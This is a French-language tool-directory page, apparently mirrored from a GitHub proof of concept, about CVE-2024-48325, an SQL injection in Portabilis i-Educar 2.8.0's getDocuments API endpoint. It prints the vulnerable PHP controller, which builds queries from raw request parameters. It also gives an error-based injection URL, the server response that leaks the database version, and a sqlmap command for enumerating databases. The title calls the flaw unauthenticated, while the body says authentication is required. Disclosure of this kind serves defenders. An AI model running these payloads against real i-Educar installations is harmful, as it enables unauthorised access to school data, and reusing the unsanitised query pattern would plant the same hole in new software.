Skip to content
KitploitKITPLOIT
OutilsBlog
Log in
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

FluxContactConfidentialité© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
cve-2024-48325 — Preuve de concept pour l'injection SQL dans Portabilis i-Educar 2.8.0, démontrant l'accès non authentifié à la base de données via le point de terminaison getDocuments avec exploitation automatisée à l'aide de SQLMap. | Kitploit
Outils/GitHubGitHub/osvaldotenorio/cve-2024-48325
Analyse des VulnérabilitésAnalyse de CodeExploitationExploitation d'Applications WebTests d'IntrusionSécurité des Bases de Données
GitHubosvaldotenorio/cve-2024-48325

cve-2024-48325

Preuve de concept pour l'injection SQL dans Portabilis i-Educar 2.8.0, démontrant l'accès non authentifié à la base de données via le point de terminaison getDocuments avec exploitation automatisée à l'aide de SQLMap.

Voir le dépôt
18il y a 1 anPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2024-48325

Description : Un utilisateur authentifié peut exploiter une vulnérabilité d'injection SQL présente dans la fonction getDocuments de la classe InstituicaoDocumentacaoController. Le paramètre instituicao_id dans /module/Api/InstituicaoDocumentacao?oper=get&resource=getDocuments&instituicao_id n'est pas correctement assaini, ce qui permet à un attaquant distant authentifié d'injecter des commandes SQL malveillantes.

Versions : Découverte dans Portabilis i-Educar 2.8.0.

Preuve de concept

Détails de la vulnérabilité

Le problème est présent dans la fonction getDocuments de la classe InstituicaoDocumentacaoController, et peut être déclenché via le point de terminaison suivant :

class InstituicaoDocumentacaoController extends ApiCoreController
{
    protected function insertDocuments()
    {
        $var1 = $this->getRequest()->instituicao_id;
        $var2 = $this->getRequest()->titulo_documento;
        $var3 = $this->getRequest()->url_documento;
        $var4 = $this->getRequest()->ref_usuario_cad;
        $var5 = $this->getRequest()->ref_cod_escola;
        $sql = "INSERT INTO pmieducar.instituicao_documentacao (instituicao_id, titulo_documento, url_documento, ref_usuario_cad, ref_cod_escola) VALUES ($var1, '$var2', '$var3', $var4, $var5)";
        $this->fetchPreparedQuery($sql);
        $sql = "SELECT MAX(id) FROM pmieducar.instituicao_documentacao WHERE instituicao_id = $var1";
        $novoId = $this->fetchPreparedQuery($sql);
        return ['id' => $novoId[0][0]];
    }
    
    protected function getDocuments()
    {
        $var1 = $this->getRequest()->instituicao_id;
        $sql = "SELECT * FROM pmieducar.instituicao_documentacao WHERE instituicao_id = $var1 ORDER BY id DESC";
        $instituicao = $this->fetchPreparedQuery($sql);
        $attrs = ['id', 'titulo_documento', 'url_documento', 'ref_usuario_cad', 'ref_cod_escola'];
        $instituicao = Portabilis_Array_Utils::filterSet($instituicao, $attrs);
        return ['documentos' => $instituicao];
    }
}

Comment la vulnérabilité se produit

Le paramètre instituicao_id est utilisé directement dans les requêtes SQL sans assainissement ni paramétrage appropriés. Cela permet aux attaquants d'envoyer des requêtes HTTP malveillantes afin d'injecter des commandes SQL, ce qui peut potentiellement conduire à un accès non autorisé à la base de données ou à la manipulation de données.

  • Exemple de point de terminaison déclenchant la vulnérabilité : /module/Api/InstituicaoDocumentacao?oper=get&resource=getDocuments&instituicao_id=14
  • Exemple d'exploit : /module/Api/InstituicaoDocumentacao?oper=get&resource=getDocuments&instituicao_id=14+AND+(CAST(VERSION()+AS+INTEGER))%3d1

Réponse du serveur :

{
    "oper": "get",
    "resource": "getDocuments",
    "msgs": [
        {
            "msg": "Exception: Error preparing query (SELECT * FROM pmieducar.instituicao_documentacao WHERE instituicao_id = 1 AND (CAST(VERSION() AS INTEGER))=1 ORDER BY id DESC) in the database: Exception: SQLSTATE[22P02]: Invalid text representation: 7 ERROR: invalid input syntax for type integer: \"PostgreSQL 16.4 on x86_64-pc-linux-musl, compiled by gcc (Alpine 13.2.1_git20240309) 13.2.1 20240309, 64-bit\" (Connection: pgsql, SQL: SELECT * FROM pmieducar.instituicao_documentacao WHERE instituicao_id = 1 AND (CAST(VERSION() AS INTEGER))=1 ORDER BY id DESC)",
            "type": "error"
        }
    ],
    "any_error_msg": true
}

Exploitation automatisée

  • Cette vulnérabilité peut également être exploitée par des outils automatisés comme SQLMap, permettant l'énumération de la base de données : sqlmap -r ../instituicaoDocumentacao.r --dbms postgres --dbs -p instituicao_id --risk 3 --level 5

SQLMap

Télécharger l’outil